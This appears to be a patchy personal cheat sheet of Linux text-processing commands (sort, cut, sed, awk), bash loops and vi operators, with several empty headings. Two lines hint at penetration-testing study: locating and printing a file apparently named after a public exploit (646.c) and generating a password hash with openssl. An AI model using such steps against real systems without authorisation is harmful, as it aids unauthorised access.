sort test.txt | uniq
cat filename | sort -u > newFileName
grep
​
head
​
tail
​
tr
​
sed
sed "1d"
​
#cut :
64 bytes from 192.168.0.1: icmp_req=1 ttl=255 time=4.86 ms
cut -d" " -f4
-d stands for delimiter. and -f for field.
​
tr - Translate

awk
awk '/search_pattern/ { action_to_take_on_matches; another_action; }' file_to_parse
​
awk '/172.16.40.10.81/' error.log
​
awk '{print}' filename
​
We can use the -F flag to add a custom delimiter. : awk -F ':' '{print $1}' test.txt
​
So if you are manipulating some text you might want to start the output with some info about the columns or something like that. To do that we can use the BEGIN-keyword.
awk 'BEGIN {printf "IP-address \tPort\n"} /nop/ {print $3}' test.txt | head
awk 'BEGIN{printf "IP-address \tPort\n"} /nop/ {print $3} END {printf "End of the file\n"}' test.txt | tail
​
# list cronjobs

​

Iteration over a file
This script will iterate over a file and echo out every single line:
#!/bin/bash
​
for line in $(cat file.txt);do
    echo $line
done
​
Another Way
​
#!/bin/bash
​
while read p; do
    echo  $p
done <file.txt
For Loops
#!/bin/bash
​
for ((i = 0; i < 10; i++)); do
    echo $i
done
​
Another way to write this is by using the program seq. Seq is pretty much like range() in python. So it can be used like this:
​
#!/bin/bash
​
for x in `seq 1 100`; do
    echo $x
done
#!/bin/bash
​
locate 646.c | tail -n 1
​
This can be done like this:
#!/bin/bash
​
cat $(locate 646.c | tail -n 1)
VI Operators
VI -
Operators
Operators are commands that do things. Like delete, change or copy.
c - change
ce - change until end of the word.

​
Combining Motions and Operators
Now that you know some motion commands and operator commands. You can start combining them.
dw - delete word
d$ - delete to the end of the line

openssl passwd sam
